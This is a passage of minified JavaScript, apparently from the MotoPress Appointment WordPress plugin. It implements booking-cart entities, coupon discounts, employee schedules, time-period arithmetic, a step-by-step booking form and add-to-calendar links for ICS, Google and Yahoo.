null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class O{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class R extends O{setupProperties(){super.setupProperties(),this.name=\"\"}}class N extends O{setupProperties(){super.setupProperties(),this.name=\"\"}}class V extends O{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():u(\"Clients\",\"motopress-appointment\")}}class q{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}class U extends O{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let s=e[t];null!=s&&\"\"!==s&&(this[t]=b(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=s*this.amount\u002F100}t=Math.min(t,s)}return t}}function H(e){return!!e}function j(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class W{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let a of e)this.haveEntity(a)&&!t?i.push(this.getEntity(a)):s.push(a);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class G extends W{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function z(e,t=\"public\"){return f(e,\"internal\"==t?\"H:i\":\"public\"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(\":\"),s=parseInt(t[0]),i=parseInt(t[1]),a=v();return a.setHours(s,i),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let s=\"short\"==e?\"public\":e,i=z(this.startTime,s),a=z(this.endTime,s);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===a?u(\"All day\",\"motopress-appointment\"):\"short\"==e&&i==a?i:i+t+a}}class K extends O{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends W{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let s=f(t,\"internal\"),i=new Date(t);e[s]=i}return e}toString(){return f(this.startDate,\"internal\")+\" - \"+f(this.endDate,\"internal\")}}class X extends O{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new Y(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),\"work\"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=f(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=b(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class ee extends W{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends W{mapRestDataToEntity(e){return new V(e.id,e)}}class se{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new G(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==se.instance&&(se.instance=new se),se.instance}}function ie(){return se.getInstance()}let ae=null;function re(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),a=Array.isArray(i.children)?i.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&s.push({...i,children:r})}return s}function ne(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(ne(s.children)));return t}function oe(e,t=[],s=null,i=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var s,i;return(null!==(s=r.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=r.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(s)&&!s.includes(e.slug)||(a.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(i)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,s,i+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),ae}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new V(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(i,ie().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new R(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,s=0){let i={};for(let a in this.availability){let r=this.availability[a];if(\"\"===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((s=>{r.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in r.employees)&&(i[a]=r.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){let i=a.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){if(0!=t&&e!=t)continue;let i=a.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(le):0!==t&&i.push(t);let r=[];for(let t in this.availability[e].employees){t=j(t);let s=this.availability[e].employees[t];if(0===i.length)r.push(t);else{a(i,Object.keys(s.locations).map(j)).length>0&&r.push(t)}}return 0===r.length?[]:\"entities\"===s?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=j(t),a.length>0&&-1===a.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)r.push(j(e))}return r=i(r),0===r.length?[]:\"entities\"===s?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case\"bool\":s=H(t);break;case\"integer\":s=j(t)}if(!F(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class de{static calculateTimezoneOffset(e){if(\"UTC\"===e)return 0;const[t,s]=e.split(\":\").map(Number);if(isNaN(t)||isNaN(s))throw new Error(\"Unknown timezone format: \"+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return\u002F^[A-Za-z]+\\\u002F[A-Za-z_]+(\\\u002F[A-Za-z_]+)?$\u002F.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}\u002Fg,\"\")}static formatDateToCalendarLocal(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}|Z\u002Fg,\"\")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const a=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,a),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(s,n);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"));const h=[\"BEGIN:VCALENDAR\",\"VERSION:2.0\",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push(\"BEGIN:VTIMEZONE\",\"TZID:\"+n,\"END:VTIMEZONE\");let c={dtstamp:\"DTSTAMP:\"+this.formatDateToCalendar(new Date),uid:\"UID:\"+e,dtstart:\"DTSTART\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+o,dtend:\"DTEND\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+l,summary:\"SUMMARY:\"+i,description:\"DESCRIPTION:\"+a,location:\"LOCATION:\"+r};c=wp.hooks.applyFilters(\"mpa_prepare_vevent_data\",c);let p=Object.values(c);h.push(\"BEGIN:VEVENT\",...p,\"END:VEVENT\"),h.push(\"END:VCALENDAR\");const d=h.join(\"\\n\"),u=new Blob([d],{type:\"text\u002Fcalendar\"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,s,i,a){const r=new URL(\"https:\u002F\u002Fwww.google.com\u002Fcalendar\u002Frender\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\")),r.search=new URLSearchParams({action:\"TEMPLATE\",text:s,dates:`${o}\u002F${l}`,details:i,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append(\"ctz\",n),r.toString()}static createYahooCalendarURL(e,t,s,i,a){const r=new URL(\"https:\u002F\u002Fcalendar.yahoo.com\u002F\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:\"60\",view:\"d\",type:\"20\",title:s,desc:i,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),h.dur=\"allday\"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(\".booking-reservations\"),this.$bookingCartItem=this.$bookingCartItems.find(\".reservation\"),this.$addToCalendarGoogle=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--google\"),this.$addToCalendarApple=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--apple\"),this.$addToCalendarOutlook=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--outlook\"),this.$addToCalendarYahoo=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--yahoo\")}assignURL(e,t){e.attr(\"href\",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction(\"mpa_booking_details_section_init\",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),a=e.employee.name+\". \"+s.getQuantityLabel()+\": \"+e.getCapacity()+\".\";let r=i;e.getCapacity()>1&&(r+=\" \",r+='\u003Cspan class=\"mpa-reservation-capacity\">',r+=s.getQuantityLabel()+\": \"+e.getCapacity(),r+=\"\u003C\u002Fspan>\"),t.find(\".reservation-title\").html(r),t.find(\".reservation-date\").html(f(e.date)),t.find(\".reservation-time\").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_ics\",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_google\",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_yahoo\",e.location.name,e));this.assignURL(t.find(\".mpa-add-to-calendar-link--google\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--apple\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--outlook\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--yahoo\"),l)})),this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!1)}reset(){this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!0);const e=\"#\";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(\".mpa-message\").first(),this.$buttonReset=this.$buttons.find(\".mpa-button-reset\"),this.$bookingDetails=this.$element.find(\".mpa-booking-details\").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u(\"Making a reservation...\",\"motopress-appointment\")+' \u003Cspan class=\"mpa-preloader\">\u003C\u002Fspan>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on(\"click\",this.resetForm.bind(this))}theId(){return\"booking\"}react(){this.isPosted&&(this.$buttons.removeClass(\"mpa-hide\"),this.$buttonBack.toggleClass(\"mpa-hide\",this.isBooked),this.$buttonReset.toggleClass(\"mpa-hide\",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c(\"\u002Fbookings\",{...wp.hooks.applyFilters(\"mpa_booking_cart_data\",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction(\"mpa_booking_cart_response\",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass(\"mpa-hide\"),this.$buttonReset.addClass(\"mpa-hide\")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return\"redirect_url\"in e&&\"\"!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger(\"mpa_reset_booking\")}}function ge(e){let t=\"\";for(let s in e)t+=\" \"+s+'=\"'+e[s]+'\"';return t}function ye(e,t={}){return\"\u003Cbutton\"+ge(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function fe(e,t){let s={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},i=t.clone();i.attr(\"data-id\",e.getItemId());let a=e.getCapacityOptions();for(let t in s){let 